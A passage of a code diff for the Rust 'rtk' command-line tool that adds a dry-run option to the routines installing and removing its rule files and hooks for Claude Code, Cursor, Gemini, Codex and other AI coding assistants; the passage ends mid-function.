patch_settings_json_command(CLAUDE_HOOK_COMMAND, patch_mode, verbose, install_opencode)?; + let patch_result = patch_settings_json_command( + CLAUDE_HOOK_COMMAND, + patch_mode, + verbose, + install_opencode, + dry_run, + )?; // Report result - match patch_result { - PatchResult::Patched => { - // Already printed by patch_settings_json_command - } - PatchResult::AlreadyPresent => { - println!("\n settings.json: hook already present"); - if install_opencode { - println!(" Restart Claude Code and OpenCode. Test with: git status"); - } else { - println!(" Restart Claude Code. Test with: git status"); + if !dry_run { + match patch_result { + PatchResult::Patched => { + // Already printed by patch_settings_json_command + } + PatchResult::AlreadyPresent => { + println!("\n settings.json: hook already present"); + if install_opencode { + println!(" Restart Claude Code and OpenCode. Test with: git status"); + } else { + println!(" Restart Claude Code. Test with: git status"); + } + } + PatchResult::Declined | PatchResult::Skipped => { + // Manual instructions already printed + } + PatchResult::WouldPatch => { + // Cannot happen outside dry_run } - } - PatchResult::Declined | PatchResult::Skipped => { - // Manual instructions already printed } } - println!(); // Final newline + if dry_run { + print_dry_run_footer(); + } else { + println!(); // Final newline + } Ok(()) } /// Legacy mode: full 137-line injection into CLAUDE.md -fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Result<()> { +fn run_claude_md_mode( + global: bool, + verbose: u8, + install_opencode: bool, + dry_run: bool, +) -> Result<()> { let path = if global { resolve_claude_dir()?.join(CLAUDE_MD) } else { PathBuf::from(CLAUDE_MD) }; - if global { + if global && !dry_run { if let Some(parent) = path.parent() { fs::create_dir_all(parent)?; } @@ -1222,18 +1446,31 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu match action { RtkBlockUpsert::Added => { - fs::write(&path, new_content)?; - println!("[ok] Added rtk instructions to existing {}", path.display()); + if dry_run { + println!("[dry-run] would add rtk instructions to {}", path.display()); + } else { + fs::write(&path, new_content)?; + println!("[ok] Added rtk instructions to existing {}", path.display()); + } } RtkBlockUpsert::Updated => { - fs::write(&path, new_content)?; - println!("[ok] Updated rtk instructions in {}", path.display()); + if dry_run { + println!( + "[dry-run] would update rtk instructions in {}", + path.display() + ); + } else { + fs::write(&path, new_content)?; + println!("[ok] Updated rtk instructions in {}", path.display()); + } } RtkBlockUpsert::Unchanged => { - println!( - "[ok] {} already contains up-to-date rtk instructions", - path.display() - ); + if !dry_run { + println!( + "[ok] {} already contains up-to-date rtk instructions", + path.display() + ); + } return Ok(()); } RtkBlockUpsert::Malformed => { @@ -1259,6 +1496,11 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu return Ok(()); } } + } else if dry_run { + println!( + "[dry-run] would create {} with rtk instructions", + path.display() + ); } else { fs::write(&path, RTK_INSTRUCTIONS)?; println!("[ok] Created {} with rtk instructions", path.display()); @@ -1267,17 +1509,25 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu if global { if install_opencode { let opencode_plugin_path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&opencode_plugin_path, verbose)?; - println!( - "[ok] OpenCode plugin installed: {}", - opencode_plugin_path.display() - ); + ensure_opencode_plugin_installed(&opencode_plugin_path, verbose, dry_run)?; + if !dry_run { + println!( + "[ok] OpenCode plugin installed: {}", + opencode_plugin_path.display() + ); + } } - println!(" Claude Code will now use rtk in all sessions"); - } else { + if !dry_run { + println!(" Claude Code will now use rtk in all sessions"); + } + } else if !dry_run { println!(" Claude Code will use rtk in this project"); } + if dry_run { + print_dry_run_footer(); + } + Ok(()) } @@ -1291,61 +1541,93 @@ const CLINE_RULES: &str = include_str!("../../hooks/cline/rules.md"); // ─── Cline / Roo Code support ───────────────────────────────── -fn run_cline_mode(verbose: u8) -> Result<()> { +fn run_cline_mode(verbose: u8, dry_run: bool) -> Result<()> { // Cline reads .clinerules from the project root (workspace-scoped) let rules_path = PathBuf::from(".clinerules"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Cline in this project.\n"); - println!(" Rules: .clinerules (already present)"); + if !dry_run { + println!("\nRTK already configured for Cline in this project.\n"); + println!(" Rules: .clinerules (already present)"); + } } else { let new_content = if existing.trim().is_empty() { CLINE_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), CLINE_RULES) }; - fs::write(&rules_path, &new_content).context("Failed to write .clinerules")?; + if dry_run { + println!( + "[dry-run] would write .clinerules: {}", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(&rules_path, &new_content).context("Failed to write .clinerules")?; - if verbose > 0 { - eprintln!("Wrote .clinerules"); - } + if verbose > 0 { + eprintln!("Wrote .clinerules"); + } - println!("\nRTK configured for Cline.\n"); - println!(" Rules: .clinerules (installed)"); + println!("\nRTK configured for Cline.\n"); + println!(" Rules: .clinerules (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Cline will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Cline will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } -fn run_windsurf_mode(verbose: u8) -> Result<()> { +fn run_windsurf_mode(verbose: u8, dry_run: bool) -> Result<()> { // Windsurf reads .windsurfrules from the project root (workspace-scoped). // Global rules (~/.codeium/windsurf/memories/global_rules.md) are unreliable. let rules_path = PathBuf::from(".windsurfrules"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Windsurf in this project.\n"); - println!(" Rules: .windsurfrules (already present)"); + if !dry_run { + println!("\nRTK already configured for Windsurf in this project.\n"); + println!(" Rules: .windsurfrules (already present)"); + } } else { let new_content = if existing.trim().is_empty() { WINDSURF_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), WINDSURF_RULES) }; - fs::write(&rules_path, &new_content).context("Failed to write .windsurfrules")?; + if dry_run { + println!( + "[dry-run] would write .windsurfrules: {}", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(&rules_path, &new_content).context("Failed to write .windsurfrules")?; - if verbose > 0 { - eprintln!("Wrote .windsurfrules"); - } + if verbose > 0 { + eprintln!("Wrote .windsurfrules"); + } - println!("\nRTK configured for Windsurf Cascade.\n"); - println!(" Rules: .windsurfrules (installed)"); + println!("\nRTK configured for Windsurf Cascade.\n"); + println!(" Rules: .windsurfrules (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Cascade will now use rtk commands for token savings."); + println!(" Restart Windsurf. Test with: git status\n"); } - println!(" Cascade will now use rtk commands for token savings."); - println!(" Restart Windsurf. Test with: git status\n"); Ok(()) } @@ -1354,38 +1636,55 @@ fn run_windsurf_mode(verbose: u8) -> Result<()> { const KILOCODE_RULES: &str = include_str!("../../hooks/kilocode/rules.md"); -pub fn run_kilocode_mode(verbose: u8) -> Result<()> { - run_kilocode_mode_at(&std::env::current_dir()?, verbose) +pub fn run_kilocode_mode(verbose: u8, dry_run: bool) -> Result<()> { + run_kilocode_mode_at(&std::env::current_dir()?, verbose, dry_run) } -fn run_kilocode_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { +fn run_kilocode_mode_at(base_dir: &Path, verbose: u8, dry_run: bool) -> Result<()> { // Kilo Code reads .kilocode/rules/ from the project root (workspace-scoped) let target_dir = base_dir.join(".kilocode/rules"); let rules_path = target_dir.join("rtk-rules.md"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Kilo Code in this project.\n"); - println!(" Rules: .kilocode/rules/rtk-rules.md (already present)"); + if !dry_run { + println!("\nRTK already configured for Kilo Code in this project.\n"); + println!(" Rules: .kilocode/rules/rtk-rules.md (already present)"); + } } else { - fs::create_dir_all(&target_dir).context("Failed to create .kilocode/rules directory")?; let new_content = if existing.trim().is_empty() { KILOCODE_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), KILOCODE_RULES) }; - fs::write(&rules_path, &new_content) - .context("Failed to write .kilocode/rules/rtk-rules.md")?; + if dry_run { + println!( + "[dry-run] would write {}: (and create parent dir if missing)", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::create_dir_all(&target_dir) + .context("Failed to create .kilocode/rules directory")?; + fs::write(&rules_path, &new_content) + .context("Failed to write .kilocode/rules/rtk-rules.md")?; - if verbose > 0 { - eprintln!("Wrote .kilocode/rules/rtk-rules.md"); - } + if verbose > 0 { + eprintln!("Wrote .kilocode/rules/rtk-rules.md"); + } - println!("\nRTK configured for Kilo Code.\n"); - println!(" Rules: .kilocode/rules/rtk-rules.md (installed)"); + println!("\nRTK configured for Kilo Code.\n"); + println!(" Rules: .kilocode/rules/rtk-rules.md (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Kilo Code will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Kilo Code will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } @@ -1394,43 +1693,59 @@ fn run_kilocode_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { const ANTIGRAVITY_RULES: &str = include_str!("../../hooks/antigravity/rules.md"); -pub fn run_antigravity_mode(verbose: u8) -> Result<()> { - run_antigravity_mode_at(&std::env::current_dir()?, verbose) +pub fn run_antigravity_mode(verbose: u8, dry_run: bool) -> Result<()> { + run_antigravity_mode_at(&std::env::current_dir()?, verbose, dry_run) } -fn run_antigravity_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { +fn run_antigravity_mode_at(base_dir: &Path, verbose: u8, dry_run: bool) -> Result<()> { // Antigravity reads .agents/rules/ from the project root (workspace-scoped) let target_dir = base_dir.join(".agents/rules"); let rules_path = target_dir.join("antigravity-rtk-rules.md"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Antigravity in this project.\n"); - println!(" Rules: .agents/rules/antigravity-rtk-rules.md (already present)"); + if !dry_run { + println!("\nRTK already configured for Antigravity in this project.\n"); + println!(" Rules: .agents/rules/antigravity-rtk-rules.md (already present)"); + } } else { - fs::create_dir_all(&target_dir).context("Failed to create .agents/rules directory")?; let new_content = if existing.trim().is_empty() { ANTIGRAVITY_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), ANTIGRAVITY_RULES) }; - fs::write(&rules_path, &new_content) - .context("Failed to write .agents/rules/antigravity-rtk-rules.md")?; + if dry_run { + println!( + "[dry-run] would write {}: (and create parent dir if missing)", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::create_dir_all(&target_dir).context("Failed to create .agents/rules directory")?; + fs::write(&rules_path, &new_content) + .context("Failed to write .agents/rules/antigravity-rtk-rules.md")?; - if verbose > 0 { - eprintln!("Wrote .agents/rules/antigravity-rtk-rules.md"); - } + if verbose > 0 { + eprintln!("Wrote .agents/rules/antigravity-rtk-rules.md"); + } - println!("\nRTK configured for Google Antigravity.\n"); - println!(" Rules: .agents/rules/antigravity-rtk-rules.md (installed)"); + println!("\nRTK configured for Google Antigravity.\n"); + println!(" Rules: .agents/rules/antigravity-rtk-rules.md (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Antigravity will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Antigravity will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } -fn run_codex_mode(global: bool, verbose: u8) -> Result<()> { +fn run_codex_mode(global: bool, verbose: u8, dry_run: bool) -> Result<()> { let (agents_md_path, rtk_md_path) = if global { let codex_dir = resolve_codex_dir()?; (codex_dir.join(AGENTS_MD), codex_dir.join(RTK_MD)) @@ -1438,7 +1753,7 @@ fn run_codex_mode(global: bool, verbose: u8) -> Result<()> { (PathBuf::from(AGENTS_MD), PathBuf::from(RTK_MD)) }; - run_codex_mode_with_paths(agents_md_path, rtk_md_path, global, verbose) + run_codex_mode_with_paths(agents_md_path, rtk_md_path, global, verbose, dry_run) } fn run_codex_mode_with_paths( @@ -1446,8 +1761,9 @@ fn run_codex_mode_with_paths( rtk_md_path: PathBuf, global: bool, verbose: u8, + dry_run: bool, ) -> Result<()> { - if global { + if global && !dry_run { if let Some(parent) = agents_md_path.parent() { fs::create_dir_all(parent).with_context(|| { format!( @@ -1471,26 +1787,30 @@ fn run_codex_mode_with_paths( RTK_MD_REF.to_string() }; - write_if_changed(&rtk_md_path, RTK_SLIM_CODEX, RTK_MD, verbose)?; - let added_ref = patch_agents_md(&agents_md_path, &rtk_md_ref, verbose)?; + write_if_changed(&rtk_md_path, RTK_SLIM_CODEX, RTK_MD, verbose, dry_run)?; + let added_ref = patch_agents_md(&agents_md_path, &rtk_md_ref, verbose, dry_run)?; - println!("\nRTK configured for Codex CLI.\n"); - println!(" RTK.md: {}", rtk_md_path.display()); - if added_ref { - println!(" AGENTS.md: {} reference added", rtk_md_ref); - } else { - println!(" AGENTS.md: {} reference already present", rtk_md_ref); - } - if global { - println!( - "\n Codex global instructions path: {}", - agents_md_path.display() - ); + if !dry_run { + println!("\nRTK configured for Codex CLI.\n"); + println!(" RTK.md: {}", rtk_md_path.display()); + if added_ref { + println!(" AGENTS.md: {} reference added", rtk_md_ref); + } else { + println!(" AGENTS.md: {} reference already present", rtk_md_ref); + } + if global { + println!( + "\n Codex global instructions path: {}", + agents_md_path.display() + ); + } else { + println!( + "\n Codex project instructions path: {}", + agents_md_path.display() + ); + } } else { - println!( - "\n Codex project instructions path: {}", - agents_md_path.display() - ); + print_dry_run_footer(); } Ok(()) @@ -1560,7 +1880,7 @@ fn upsert_rtk_block(content: &str, block: &str) -> (String, RtkBlockUpsert) { } /// Patch CLAUDE.md: add @RTK.md, migrate if old block exists -fn patch_claude_md(path: &Path, verbose: u8) -> Result { +fn patch_claude_md(path: &Path, verbose: u8, dry_run: bool) -> Result { let mut content = if path.exists() { fs::read_to_string(path)? } else { @@ -1587,7 +1907,14 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { eprintln!("@RTK.md reference already present in CLAUDE.md"); } if migrated { - fs::write(path, content)?; + if dry_run { + println!( + "[dry-run] would migrate old RTK block in CLAUDE.md: {}", + path.display() + ); + } else { + fs::write(path, content)?; + } } return Ok(migrated); } @@ -1599,17 +1926,27 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { format!("{}\n\n@RTK.md\n", content.trim()) }; - fs::write(path, new_content)?; + if dry_run { + println!( + "[dry-run] would add @RTK.md reference to CLAUDE.md: {}", + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(path, new_content)?; - if verbose > 0 { - eprintln!("Added @RTK.md reference to CLAUDE.md"); + if verbose > 0 { + eprintln!("Added @RTK.md reference to CLAUDE.md"); + } } Ok(migrated) } /// Patch AGENTS.md: add @RTK.md (or absolute path), migrate old inline block if present -fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { +fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8, dry_run: bool) -> Result { let mut content = if path.exists() { fs::read_to_string(path) .with_context(|| format!("Failed to read AGENTS.md: {}", path.display()))? @@ -1638,16 +1975,32 @@ fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { if rtk_md_ref != RTK_MD_REF && content.contains(RTK_MD_REF) && !content.contains(rtk_md_ref) { content = content.replace(RTK_MD_REF, rtk_md_ref); - atomic_write(path, &content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; - if verbose > 0 { - eprintln!("Migrated {} to {}", RTK_MD_REF, rtk_md_ref); + if dry_run { + println!( + "[dry-run] would migrate {} to {} in {}", + RTK_MD_REF, + rtk_md_ref, + path.display() + ); + } else { + atomic_write(path, &content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if verbose > 0 { + eprintln!("Migrated {} to {}", RTK_MD_REF, rtk_md_ref); + } } return Ok(true); } if migrated { - atomic_write(path, &content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if dry_run { + println!( + "[dry-run] would write migrated AGENTS.md: {}", + path.display() + ); + } else { + atomic_write(path, &content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + } } return Ok(false); } @@ -1658,10 +2011,21 @@ fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { format!("{}\n\n{}\n", content.trim(), rtk_md_ref) }; - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; - if verbose > 0 { - eprintln!("Added {} reference to AGENTS.md", rtk_md_ref); + if dry_run { + println!( + "[dry-run] would add {} reference to AGENTS.md: {}", + rtk_md_ref, + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if verbose > 0 { + eprintln!("Added {} reference to AGENTS.md", rtk_md_ref); + } } Ok(true) @@ -1674,7 +2038,12 @@ fn has_rtk_reference(content: &str, refs: &[&str]) -> bool { .any(|line| refs.contains(&line)) } -fn remove_rtk_reference_from_agents(path: &Path, refs: &[&str], verbose: u8) -> Result { +fn remove_rtk_reference_from_agents( + path: &Path, + refs: &[&str], + verbose: u8, + dry_run: bool, +) -> Result { if !path.exists() { return Ok(false); } @@ -1694,6 +2063,18 @@ fn remove_rtk_reference_from_agents(path: &Path, refs: &[&str], verbose: u8) -> .collect::>() .join("\n"); let cleaned = clean_double_blanks(&new_content); + + if dry_run { + println!( + "[dry-run] would remove RTK.md reference from AGENTS.md: {}", + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", cleaned); + } + return Ok(true); + } + atomic_write(path, &cleaned) .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; @@ -1792,33 +2173,41 @@ fn opencode_plugin_path(opencode_dir: &Path) -> PathBuf { fn prepare_opencode_plugin_path() -> Result { let opencode_dir = resolve_opencode_dir()?; let path = opencode_plugin_path(&opencode_dir); - if let Some(parent) = path.parent() { - fs::create_dir_all(parent).with_context(|| { - format!( - "Failed to create OpenCode plugin directory: {}", - parent.display() - ) - })?; - } + // Directory creation is deferred to install time (caller guards on dry_run). Ok(path) } /// Write OpenCode plugin file if missing or outdated -fn ensure_opencode_plugin_installed(path: &Path, verbose: u8) -> Result { - write_if_changed(path, OPENCODE_PLUGIN, "OpenCode plugin", verbose) +fn ensure_opencode_plugin_installed(path: &Path, verbose: u8, dry_run: bool) -> Result { + // Ensure parent dir exists (skip in dry-run) + if !dry_run { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).with_context(|| { + format!( + "Failed to create OpenCode plugin directory: {}", + parent.display() + ) + })?; + } + } + write_if_changed(path, OPENCODE_PLUGIN, "OpenCode plugin", verbose, dry_run) } /// Remove OpenCode plugin file -fn remove_opencode_plugin(verbose: u8) -> Result> { +fn remove_opencode_plugin(verbose: u8, dry_run: bool) -> Result> { let opencode_dir = resolve_opencode_dir()?; let path = opencode_plugin_path(&opencode_dir); let mut removed = Vec::new(); if path.exists() { - fs::remove_file(&path) - .with_context(|| format!("Failed to remove OpenCode plugin: {}", path.display()))?; - if verbose > 0 { - eprintln!("Removed OpenCode plugin: {}", path.display()); + if dry_run { + println!("[dry-run] would remove OpenCode plugin: {}", path.display()); + } else { + fs::remove_file(&path) + .with_context(|| format!("Failed to remove OpenCode plugin: {}", path.display()))?; + if verbose > 0 { + eprintln!("Removed OpenCode plugin: {}", path.display()); + } } removed.push(path); } @@ -1833,22 +2222,30 @@ fn resolve_cursor_dir() -> Result { } /// Install Cursor hooks: register binary command in hooks.json -fn install_cursor_hooks(verbose: u8) -> Result<()> { +fn install_cursor_hooks(verbose: u8, dry_run: bool) -> Result<()> { let cursor_dir = resolve_cursor_dir()?; // Migrate old hook script if present let old_hook = cursor_dir.join("hooks").join(REWRITE_HOOK_FILE); if old_hook.exists() { - let _ = fs::remove_file(&old_hook); - if verbose > 0 { - eprintln!( - " [ok] Removed old Cursor hook script: {}", + if dry_run { + println!( + "[dry-run] would remove old Cursor hook script: {}", old_hook.display() ); + } else { + let _ = fs::remove_file(&old_hook); + if verbose > 0 { + eprintln!( + " [ok] Removed old Cursor hook script: {}", + old_hook.display() + ); + } } // Clean stale hooks.json entry pointing to the deleted script let hooks_json_path = cursor_dir.join(HOOKS_JSON); - if let Err(e) = remove_legacy_cursor_hooks_json_entries(&hooks_json_path, verbose) { + if let Err(e) = remove_legacy_cursor_hooks_json_entries(&hooks_json_path, verbose, dry_run) + { if verbose > 0 { eprintln!(" [warn] Failed to clean legacy Cursor hooks.json entry: {e}"); } @@ -1857,27 +2254,31 @@ fn install_cursor_hooks(verbose: u8) -> Result<()> { // Create or patch hooks.json with binary command let hooks_json_path = cursor_dir.join(HOOKS_JSON); - let patched = patch_cursor_hooks_json(&hooks_json_path, verbose)?; + let patched = patch_cursor_hooks_json(&hooks_json_path, verbose, dry_run)?; + + // Report (skip in dry-run) + if !dry_run { + println!("\nCursor hook registered (global).\n"); + println!(" Command: {}", CURSOR_HOOK_COMMAND); + println!(" hooks.json: {}", hooks_json_path.display()); - // Report - println!("\nCursor hook registered (global).\n"); - println!(" Command: {}", CURSOR_HOOK_COMMAND); - println!(" hooks.json: {}", hooks_json_path.display()); + if patched { + println!(" hooks.json: RTK preToolUse entry added"); + } else { + println!(" hooks.json: RTK preToolUse entry already present"); + } - if patched { - println!(" hooks.json: RTK preToolUse entry added"); + println!(" Cursor reloads hooks.json automatically. Test with: git status\n"); } else { - println!(" hooks.json: RTK preToolUse entry already present"); + print_dry_run_footer(); } - println!(" Cursor reloads hooks.json automatically. Test with: git status\n"); - Ok(()) } /// Patch ~/.cursor/hooks.json to add RTK preToolUse hook. /// Returns true if the file was modified. -fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { +fn patch_cursor_hooks_json(path: &Path, verbose: u8, dry_run: bool) -> Result { let mut root = if path.exists() { let content = fs::read_to_string(path) .with_context(|| format!("Failed to read {}", path.display()))?; @@ -1901,6 +2302,20 @@ fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { insert_cursor_hook_entry(&mut root)?; + let serialized = + serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; + + if dry_run { + println!( + "[dry-run] would patch Cursor hooks.json: {}", + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", serialized); + } + return Ok(true); + } + // Backup if exists if path.exists() { let backup_path = path.with_extension("json.bak"); @@ -1912,8 +2327,6 @@ fn patch_cursor_hooks_json(path: &Path, verbose: u8) -> Result { } // Atomic write - let serialized = - serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; atomic_write(path, &serialized)?; Ok(true) @@ -1972,7 +2385,7 @@ fn insert_cursor_hook_entry(root: &mut serde_json::Value) -> Result<()> { /// Remove only legacy `rtk-rewrite.sh` entries from Cursor hooks.json. /// Preserves any existing `rtk hook cursor` entries (new format). -fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8) -> Result<()> { +fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8, dry_run: bool) -> Result<()> { if !path.exists() { return Ok(()); } @@ -1990,6 +2403,14 @@ fn remove_legacy_cursor_hooks_json_entries(path: &Path, verbose: u8) -> Result<( return Ok(()); } + if dry_run { + println!( + "[dry-run] would remove legacy rtk-rewrite.sh entry from Cursor hooks.json: {}", + path.display() + ); + return Ok(()); + } + let serialized = serde_json::to_string_pretty(&root).context("Failed to serialize hooks.json")?; atomic_write(path, &serialized)?; @@ -2025,15 +2446,23 @@ fn remove_legacy_cursor_hook_entries_from_json(root: &mut serde_json::Value) -> } /// Remove Cursor RTK artifacts: hook script + hooks.json entry -fn remove_cursor_hooks(verbose: u8) -> Result> { +fn remove_cursor_hooks(verbose: u8, dry_run: bool) -> Result> { let cursor_dir = resolve_cursor_dir()?; let mut removed = Vec::new(); // 1. Remove hook script let hook_path = cursor_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove Cursor hook: {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove Cursor hook: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path).with_context(|| { + format!("Failed to remove Cursor hook: {}", hook_path.display()) + })?; + } removed.push(format!("Cursor hook: {}", hook_path.display())); } @@ -2046,18 +2475,24 @@ fn remove_cursor_hooks(verbose: u8) -> Result> { if !content.trim().is_empty() { if let Ok(mut root) = serde_json::from_str::(&content) { if remove_cursor_hook_from_json(&mut root) { - let backup_path = hooks_json_path.with_extension("json.bak"); - fs::copy(&hooks_json_path, &backup_path).ok(); - - let serialized = serde_json::to_string_pretty(&root) - .context("Failed to serialize hooks.json")?; - atomic_write(&hooks_json_path, &serialized)?; - - removed.push("Cursor hooks.json: removed RTK entry".to_string()); - - if verbose > 0 { - eprintln!("Removed RTK hook from Cursor hooks.json"); + if dry_run { + println!( + "[dry-run] would remove RTK entry from Cursor hooks.json: {}", + hooks_json_path.display() + ); + } else { + let backup_path = hooks_json_path.with_extension("json.bak"); + fs::copy(&hooks_json_path, &backup_path).ok(); + + let serialized = serde_json::to_string_pretty(&root) + .context("Failed to serialize hooks.json")?; + atomic_write(&hooks_json_path, &serialized)?; + + if verbose > 0 { + eprintln!("Removed RTK hook from Cursor hooks.json"); + } } + removed.push("Cursor hooks.json: removed RTK entry".to_string()); } } } @@ -2386,12 +2821,16 @@ fn show_codex_config() -> Result<()> { Ok(()) } -fn run_opencode_only_mode(verbose: u8) -> Result<()> { +fn run_opencode_only_mode(verbose: u8, dry_run: bool) -> Result<()> { let opencode_plugin_path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&opencode_plugin_path, verbose)?; - println!("\nOpenCode plugin installed (global).\n"); - println!(" OpenCode: {}", opencode_plugin_path.display()); - println!(" Restart OpenCode. Test with: git status\n"); + ensure_opencode_plugin_installed(&opencode_plugin_path, verbose, dry_run)?; + if dry_run { + print_dry_run_footer(); + } else { + println!("\nOpenCode plugin installed (global).\n"); + println!(" OpenCode: {}", opencode_plugin_path.display()); + println!(" Restart OpenCode. Test with: git status\n"); + } Ok(()) } @@ -2407,53 +2846,76 @@ fn resolve_gemini_dir() -> Result { } /// Entry point for `rtk init --gemini` -pub fn run_gemini(global: bool, hook_only: bool, patch_mode: PatchMode, verbose: u8) -> Result<()> { +pub fn run_gemini( + global: bool, + hook_only: bool, + patch_mode: PatchMode, + verbose: u8, + dry_run: bool, +) -> Result<()> { if !global { anyhow::bail!("Gemini support is global-only. Use: rtk init -g --gemini"); } let gemini_dir = resolve_gemini_dir()?; - fs::create_dir_all(&gemini_dir).with_context(|| { - format!( - "Failed to create Gemini config dir: {}", - gemini_dir.display() - ) - })?; + if !dry_run { + fs::create_dir_all(&gemini_dir).with_context(|| { + format!( + "Failed to create Gemini config dir: {}", + gemini_dir.display() + ) + })?; + } // 1. Install hook script let hook_dir = gemini_dir.join("hooks"); - fs::create_dir_all(&hook_dir) - .with_context(|| format!("Failed to create hook dir: {}", hook_dir.display()))?; + if !dry_run { + fs::create_dir_all(&hook_dir) + .with_context(|| format!("Failed to create hook dir: {}", hook_dir.display()))?; + } let hook_path = hook_dir.join(GEMINI_HOOK_FILE); - write_if_changed(&hook_path, GEMINI_HOOK_SCRIPT, "Gemini hook", verbose)?; + write_if_changed( + &hook_path, + GEMINI_HOOK_SCRIPT, + "Gemini hook", + verbose, + dry_run, + )?; #[cfg(unix)] - { + if !dry_run { use std::os::unix::fs::PermissionsExt; fs::set_permissions(&hook_path, fs::Permissions::from_mode(0o755)) .with_context(|| format!("Failed to set hook permissions: {}", hook_path.display()))?; } - // Store integrity baseline for tamper detection - integrity::store_hash(&hook_path) - .with_context(|| format!("Failed to store integrity hash for {}", hook_path.display()))?; + // Store integrity baseline for tamper detection (skip in dry-run) + if !dry_run { + integrity::store_hash(&hook_path).with_context(|| { + format!("Failed to store integrity hash for {}", hook_path.display()) + })?; + } // 2. Install GEMINI.md (RTK awareness for Gemini) if !hook_only { let gemini_md_path = gemini_dir.join(GEMINI_MD); // Reuse the same slim RTK awareness content - write_if_changed(&gemini_md_path, RTK_SLIM, GEMINI_MD, verbose)?; + write_if_changed(&gemini_md_path, RTK_SLIM, GEMINI_MD, verbose, dry_run)?; } // 3. Patch ~/.gemini/settings.json - patch_gemini_settings(&gemini_dir, &hook_path, patch_mode, verbose)?; + patch_gemini_settings(&gemini_dir, &hook_path, patch_mode, verbose, dry_run)?; - println!("\nGemini CLI hook installed (global).\n"); - println!(" Hook: {}", hook_path.display()); - if !hook_only { - println!(" GEMINI.md: {}", gemini_dir.join(GEMINI_MD).display()); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGemini CLI hook installed (global).\n"); + println!(" Hook: {}", hook_path.display()); + if !hook_only { + println!(" GEMINI.md: {}", gemini_dir.join(GEMINI_MD).display()); + } + println!(" Restart Gemini CLI. Test with: git status\n"); } - println!(" Restart Gemini CLI. Test with: git status\n"); Ok(()) } @@ -2463,6 +2925,7 @@ fn patch_gemini_settings( hook_path: &Path, patch_mode: PatchMode, verbose: u8, + dry_run: bool, ) -> Result<()> { let settings_path = gemini_dir.join(SETTINGS_JSON); let hook_cmd = hook_path.to_string_lossy().to_string(); @@ -2503,13 +2966,20 @@ fn patch_gemini_settings( } if patch_mode == PatchMode::Ask { - print!("Patch {} with RTK hook? [y/N] ", settings_path.display()); - std::io::Write::flush(&mut std::io::stdout())?; - let mut answer = String::new(); - std::io::stdin().read_line(&mut answer)?; - if 